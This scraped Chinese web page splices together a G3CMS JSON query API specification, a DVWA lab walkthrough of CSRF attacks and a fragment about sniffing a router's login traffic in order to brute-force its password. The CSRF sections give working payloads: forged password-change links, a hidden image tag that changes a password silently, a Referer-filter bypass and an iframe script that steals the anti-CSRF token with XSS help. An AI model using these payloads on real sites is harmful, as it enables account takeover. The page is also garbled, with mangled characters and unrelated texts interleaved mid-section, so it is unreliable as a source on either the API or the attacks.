G3CMS 数据查询接口协议

2019-12-01 01:46栏目:龙竞技官网
TAG:

龙电竞官网 1

1.概述

CSRF(Cross-site request forgery)

CSXC90F,全称Cross-site request forgery,翻译过来正是跨站央求伪造,是指利用被害者还未失效之处阐明新闻(cookie、会话等),诱骗其点击恶意链接或许访谈包括攻击代码的页面,在被害者不知情的意况下以被害人的地位向(身份ID明音信所对应的)服务器发送要求,进而造成违法操作(如转账、改密等)。CS大切诺基F与XSS最大的界别就在于,CSGL450F并未偷取cookie而是直接使用。在二零一三年宣布的新版OWASP Top 10中,CS瑞鹰F排行第8。

龙电竞官网 2

1.png

下直面种种等级的代码进行解析。

image

龙电竞官网,1.1.用途

向集成客商端提供查询数据和登陆服务。
假使财富须要授权技术查看和平运动用,请首先阅读“5.登入验证”小节。

Low

劳务器端主旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

能够看看,服务器收到纠正密码的倡议后,会检讨参数password_new与password_conf是不是相符,若是雷同,就能纠正密码,并从未任何的防CS哈弗F机制(当然服务器对央浼的发送者是做了身份验证的,是检查的cookie,只是这里的代码未有反映= =)。

在院子里面来看了多个没人用的路由器(ws860s),看起来像个黑科技(science and technology卡塔尔的玩具,就想着进去看看,到底有怎样有意思的。见到后头的竹签上有web分界面包车型客车地点,然后登入进去看看,发掘成密码,然后我想,路由器的密码应该都是足以reset的,然后自个儿就用笔戳那多少个reset键,奇迹未有发生,原本这些reset键坏了。

1.2.通讯磋商

顾客端和服务器通过HTTP合同通讯,客商端接受HTTP Get向服务器发送乞请,服务器再次来到json格式的业务数据或操作结果给客商端。

漏洞使用

1、布局链接

A卡塔尔国 最基本功的:

http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

当受害人点击了这些链接,他的密码就能被改成password(这种攻击显得略微粗笨,链接一眼就能够看出来是改密码的,何况受害者点了链接之后见到这些页面就能分晓自身的密码被窜改了)

龙电竞官网 3

1.png

要求专一的是,CSXC60F最器重的是选拔受害人的cookie向服务器发送捏造诉求,所以纵然受害人此前用Chrome浏览器登入的那么些系统,而用搜狗浏览器点击那几个链接,攻击是不会触发的,因为搜狗浏览器并不可能使用Chrome浏览器的cookie,所以会自行跳转到登陆界面。

龙电竞官网 4

1.png

有人会说,这一个链接也太刚强了吧,不会有人点的,没有错,所以的确攻击场景下,大家须要对链接做一些管理。

B卡塔尔国 大家得以应用短链接来掩瞒U索罗德L(点击短链接,会活动跳转到真实网址):

如http://dwz.cn/****

龙电竞官网 5

1.png

因为本地搭的情况,服务器域名是ip所以不能转移对应的短链接= =,实际攻击场景下要是指标服务器的域名不是ip,是足以生成对应短链接的。

龙电竞官网 6

1.png

亟需提示的是,就算采纳了短链接隐蔽url,但受害人最终照旧拜望到密码改正成功的页面,所以这种攻击方式也并不高明。

C卡塔尔(قطر‎ 布局攻击页面

切实攻击场景下,这种措施供给事情未发生前在公网络传五个攻击页面,诱骗被害人去做客,真正能够在被害者不知情的气象下完结CSRubiconF攻击。这里为了便利演示(才不是自己租不起服务器= =),就在地头写三个test.html,上面是实际代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>

当受害人访问test.html时,会误感到是协调点击的是二个失效的url,但实质央月经遭到了CSOdysseyF攻击,密码已经被改正为了hack。

龙电竞官网 7

1.png

龙电竞官网 8

1.3.接口伏乞

接口地址是贰个HTTP公约的url地址,具体魄式是:

ip替换到实际服务器的ip或域名,假使端口不是默许端口,必要把端口加上。
token是表达字符串,在登入接口中获得,若无登入则省略。
其余内容参见接口的概念。
当U福睿斯L央求参数值中含有URAV4L地址保留字符时,应对参数值举办U奥德赛L编码。
具体参见“RubiconFC2396: Uniform Resource Identifiers (USportageI卡塔尔国: Generic Syntax”。
当呼吁参数满含粤语字符时,应对中文字符选取UTF-8编码。

Medium

服务器端宗旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}

?> 

连带函数表明

int eregi(string pattern, string string)

自己商量string中是不是满含pattern(不区分抑扬顿挫写),假诺有再次来到True,反之False。

能够看看,Medium级其余代码检查了封存变量 HTTP_REFEREXC60(http漳州的Referer参数的值,表示来源地址)中是还是不是满含SESportageVEWrangler_NAME(http遵义的Host参数,及要访谈的主机名,这里是192.168.153.130),希望因而这种机制抵御CSHighlanderF攻击。

龙电竞官网 9

1.png

image

1.4.回去新闻布局

再次回到的json新闻数据构造具有从严的黄金年代致性,客商端能够动用相通的吸纳和分析方法管理回来音讯。
轻便音信
简易的归来音讯包罗对伏乞的管理结果,构造如下:

{
    "code":0,
    "err_desc":""
}

其中:
code 为0表示管理成功,此外值表示管理退步。
err_desc是对不当的描述,在code为0时err_desc会被回顾。
特种境况,在客户认证的login1和login2接口中,err_desc具备特殊用处用法,具体参见接口描述。除那四个接口之外,err_desc都意味着错误描述。
带业务数据的音信
局地重临消息除了含有管理结果消息,还包含业务数据记录集,布局如下:

 {
        "code":0,
        "data":{
            "count":1,
            "items":[...]
        }
    }

其中:
data 业务数据的根节点:
count 业务数据的条数,可能的值为0 ~ n
items 业务数据,是七个数组,数据条数由count属性定义。当count为0时,items属性大概为null可能荒诞不经。
本文书档案后续章节中,在描述items元素的质量时,会轻便一些属性的汇报,即事实上调用接口重返的性质在本文书档案中或者会未有描述,这种情形下请直接忽视被忽视描述的属性值。本文书档案中描述的属性是实际上重回内容的一个子集,未有描述到的从头到尾的经过对集开支系统未有影响。
带分页数据的消息
万叁次去数据非常多,服务器会对回到的数量开展分页,客商端能够依照页码必要钦点范围的数码。带分页音信的回来数据布局如下:

    {
    "code":0,
    "data":{
        "page":1,
        "page_size":"20",
        "pages":"1",
        "total":"2",
        "count":2,
        "items":[...]
                }
}

分页数据消息在data成分下,意义如下:
page 当前页码
page_size 每页数据记录条数
pages 总共的页数
total 总的数量据条数
count 当前重临页的数码条数
生龙活虎经回去的多寡带有分页新闻,则足以在调用接口时行使page参数来号召钦赐页码的数码。

漏洞使用

过滤法规是http海口的Referer参数的值中必需富含主机名(这里是192.168.153.130)

咱俩得以将攻击页面命名字为192.168.153.130.html(页面被停放在攻击者的服务器里,这里是10.4.253.2)就足以绕过了

龙电竞官网 10

1.png

下面是Burpsuite的截图

龙电竞官网 11

1.png

Referer参数完美绕过过滤法则

龙电竞官网 12

1.png

密码矫正成功

龙电竞官网 13

1.png

龙电竞官网 14

1.5.参考

[1] RFC 2616, Hypertext Transfer Protocol -- HTTP/1.1[S].
[2] RFC 3986, Uniform Resource Identifier (URI): Generic Syntax[S].
[3] Introducing JSON

High

劳动器端大旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

能够看出,High品级的代码参与了Anti-CS汉兰达F token机制,顾客每一趟访谈改密页面时,服务器会回去一个Infiniti定的token,向服务器发起呼吁时,须要交给token参数,而服务器在吸收接纳要求时,会预先检查token,独有token准确,才会管理客商端的央求。

image

2.询问分类

漏洞使用

要绕过High级其他反CSPAJEROF机制,关键是要获得token,要使用被害者的cookie去修正密码的页面得到主要的token。

试着去组织八个攻击页面,将其放置在攻击者的服务器,引诱被害者访谈,进而成就CSEscortF攻击,下面是代码。

<script type="text/javascript">    function attack()  {   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;  document.getElementById("transfer").submit();   }</script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe> <body onload="attack()">  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">   <input type="hidden" name="password_new" value="password">    <input type="hidden" name="password_conf" value="password">   <input type="hidden" name="user_token" value="">  <input type="hidden" name="Change" value="Change">   </form></body>

攻击思路是当被害人点击踏入那几个页面,脚本会通过八个看不见框架偷偷访问改革密码的页面,获取页面中的token,并向服务器发送改密央求,以成功CS奥迪Q5F攻击。

只是理想与具体的出入是了不起的,这里牵扯到了跨域难点,而前日的浏览器是不容许跨域恳求的。这里大致表明下跨域,我们的框架iframe访谈的地点是http://192.168.153.130/dvwa/vulnerabilities/csrf,坐落于服务器192.168.153.130上,而作者辈的攻击页面坐落于红客服务器10.4.253.2上,两个的域名不一样,域名B下的保有页面都不容许主动获取域名A下的页面内容,除非域名A下的页面主动发送新闻给域名B的页面,所以我们的攻击脚本是不容许取到改密分界面中的user_token。

是因为跨域是无法促成的,所以我们要将攻击代码注入到对象服务器192.168.153.130中,才有十分大概率做到攻击。上边选取High等第的XSS漏洞补助获取Anti-CS景逸SUVF token(因为此地的XSS注入有长度限定,不可以看到注入完整的抨击脚本,所以只获得Anti-CS大切诺基F token)。

龙电竞官网 15

1.png

此地的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

龙电竞官网 16

1.png

流入代码如下

龙电竞官网 17

1.png

浅析进度

2.1.查询分类

  • 用途
    查询CMS上的分类消息。
    请求

    parent 上级分类编号。假使大意,会回去一流分类列表。
    如果要查询一流分类,请去掉parent参数。

  • 响应

{
    "code": 0,
    "data": {
        "count": 2,
        "items": [
            {
                "id": 1,
                "name": "公共栏目",
                "comment": "",
                "upper_catalog_id": 0
            },
            {
                "id": 2,
                "name": "私有栏目",
                "comment": "",
                "upper_catalog_id": 0
            }
        ]
    }
}

id 编号
name 名称
comment 备注
"upper_catalog_id 上级分类编号, 0 表示前段时间分类是一流分类。

Impossible

劳动器端宗旨代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

能够看见,Impossible级其他代码应用PDO技巧防卫SQL注入,至于防护CS福睿斯F,则须要顾客输入原始密码(轻便残忍),攻击者在不知情原本密码的景观下,无论怎样都束手无策开展CSGL450F攻击。
原帖地址:http://www.freebuf.com/articles/web/118352.html

抓包

2.2.查询分类树

  • 用途
    查询全数分类及其属下分类。
    请求

  • 响应

{
    "code": 0,
    "data": {
        "count": 2,
        "items": [
            {
                "id": 1,
                "name": "公共栏目",
                "comment": "",
                "upper_catalog_id": 0,
                "sub_items": [
                                {
                                    "id": 5,
                                    "name": "二级分类1",
                                    "comment": "",
                                    "upper_catalog_id": 1
                                },
                                ...
                    ]
            },
            ...
        ]
    }
}

id 编号
name 名称
comment 备注
"upper_catalog_id 上级分类编号, 0 表示近日分类是一流分类。
sub_items 下级分类数组,包罗 0 或四个下级分类。

1、张开路由的web页面:192.168.3.1,路由器重返

3.查询媒体财富

龙电竞官网 18

3.1.查询媒体财富

  • 用途
    查询媒体财富。
    能够查询有个别编号的财富的新闻,也能够查询有个别分类下的具备能源新闻。
    请求

    parent 分类编号,借使要查询有些分类下的兼具能源,请忽视下叁个参数。
    media_id 能源编号,若是给出该参数,则只询问号码为media_id的四个能源的消息,并忽视parent参数。

  • 响应

{
    "code": 0,
    "data": {
        "page": 1,
        "page_size": "20",
        "pages": 9,
        "total": "18",
        "count": 2,
        "items": [
            {
                "id": 79,
                "catalog_id": 2,
                "title": "vod - 8898",
                "sub_title": "G3视频",
                "abstract": null,
                "text": null,
                "resource_type": "vod",
                "cover": "/mserver/cms/covers/res_cover_79.jpg?1515729601",
                "duration": 98,
                "add_time": "2018-01-08 19:19:26",
                "view_times": 0,
                "open_status": 0
            },
            ...
        ]
    }
}

重返0个或四个财富消息。
id 财富编号
catalog_id 所属分类编号
title 标题
sub_title 小标题
abstract 摘要描述
text 描述
resource_type vod或live
cover 封面地址
duration 播放时间长度
add_time 增加岁月
view_times 观望次数
open_status 开放意况

image

4.查询播放地址

龙电竞官网 19

4.1.查询播放地址

  • 用途
    查询某些媒体财富的广播地址。
    请求

    media_id 财富编号。
    protocol 播出公约,点播能源能够是hls,http-flv或http-mp5;直播能源得以是 rtmp或hls。借使轻便,重返全数左券之处。
    顾客端请依照终端类型选择合适的公开放映公约:
    android、ios或别的扶助H5的浏览器,可以选用:hls, http-mp5协议
    PC选用http-flv或rtmp协议

  • 响应

{
    "code": 0,
    "data": {
        "count": 1,
        "items": [
            {
                "id": 104,
                "resource_id": 39,
                "web_url": "/mp4/vod/yellowstone/yellowstone.mp4",
                "web_io_protocol": "http-mp4",
                "add_time": "2017-08-25 16:35:16"
            }
        ]
    }
}

再次来到0个或四个广播地址,一个财富恐怕有多个例外协商的播报地址。
resource_id 财富编号
web_url 播出地址
"web_io_protocol 播出协议

image

5.登陆验证

会拿到csrf和cookie和所急需的值,那些值都要封存下去,前边会用。

概述

  • 1)登入的渴求和含义
    客户端应当首推推断服务器是或不是须要必需登录。假诺供给,则应率先调用登入接口登陆,然后再央求别的接口。
    是不是须求强制登陆,跟运行必要有关,网址运行者能够由此管住平台安装那么些选项。
    如果未有强制供给,客商端能够登入,也得以不登录。
    客户不利登入后,会拿走一个token值,在继续的接口中,应当将该token值带入。举例:

  • 2)登陆的流程
    服务器和顾客端通过“挑衅->应答”方式(challenge-response)进行身份认证人机联作,在那么些历程中,客商端须要调用四遍接口向服务器注明身份。认证进程中无需传递密码,密码用于具名验证。
    身份认证的过如下:
    1)客商端应用“客商名”作为参数调用“login1”接口,向服务器发出身份验证需求
    1.1)服务器确认顾客是或不是是有效的顾客:
    1.2)若不是,则不做特别管理,重返错误音讯
    1.3)假使,服务器产生三个“随机数(挑衅字符串)”发送给客商端
    2)顾客端接受“客商密码”和“随机数(挑衅字符串)”作为输入,按预约的算法生成贰个hash值,用该hash值作为 调用“login2”接口的参数,央浼login2接口。
    2.1)服务器用收到的hash值与和睦的精兵简政结果比较,若二者相仿,则经过验证;不然,认证失利
    2.2)若申明通过,服务器再次回到“token”给客户端,否者重回错误信息。

2、输入客商名密码后:

5.1.推断是或不是必需登入

  • 用途
    推断是不是供给必得登入。
    生机勃勃经供给必得登陆,则供给首先登场入,否者查询数据的接口会回来未有权限的不当。

请求

  • 响应
{
    "code": 0,
    "err_desc": "no"
}

err_desc 属性描述了对登入的渴求。no 代表不强制供给, yes 表示必需必要登入。

龙电竞官网 20

5.2.login1

  • 用途
    交付认证申请,接口重返挑衅字符串。
    请求

    username 登入客商名。

  • 响应

{
    "code": 0,
    "data": {
        "count": 1,
        "items": [
            {
                "id": 37,
                "chcode": "9luqgrnj5vvszmjw"
            }
        ]
    }
}

id session识别号,用于login2接口,原样传递给login2就可以。
chcode 挑衅字符串,顾客端按预约法规使用该字符串生成二个hash值,然后调用login2接口。

image

5.3.login2

  • 用途
    动用login1再次回到的chcode总括出二个hash值,提交给本接口申请到三个token。该token值用于别的接口的注脚。
    请求

    id login1接口回来的id值,原样带入。
    hash 根据预订总括出的hash值。算法:
    hash=md5(md5(password)+chcode)
    陈诉:首先总括出密码的hash值,然后在调换的密码hash值尾部拼接上挑战字符串变成新的字符串,最终总括这么些新字符串的hash值。
    hash算法采取md5算法,生成的摘要选取16进制编码,编码生成的字符选择小写字母。
    例如,字符串111111的hash值是 96e79218965eb72c92a549dd5a330112

  • 响应

{
    "code": 0,
    "data": {
        "count": 6,
        "items": [{
            "id": 2,
            "name": "王工",
            "sex": 1,
            "logo": null,
            "token": "c9xpghlmgxn58kdq",
            "group_id": 1
        }]
    }
}

name 用户名
sex 性别,1男 0女
logo 客商头像,null大概头像url
token 认证令牌,在不能够保全session的情事下,在伸手别的接口中应有将token参数带入
group_id 顾客所属的客商组

龙电竞官网 21

5.4.logout

  • 用途
    退出登陆,退出应用前请尽只怕调用该接口。
    请求
    =abcdefg
    token 登陆接口中收获的token

  • 响应

{
    "code": 0,
}

image

龙电竞官网 22

image

龙电竞官网 23

image

3、路由器重回数据

龙电竞官网 24

image

密码的改造方法

从地点抓包的结果来看,Password字段是透过加密的,所以生龙活虎旦大家要Python暴力破解,供给把那些password的扭转算法搜索来。

版权声明:本文由龙竞技官网发布于龙竞技官网,转载请注明出处:G3CMS 数据查询接口协议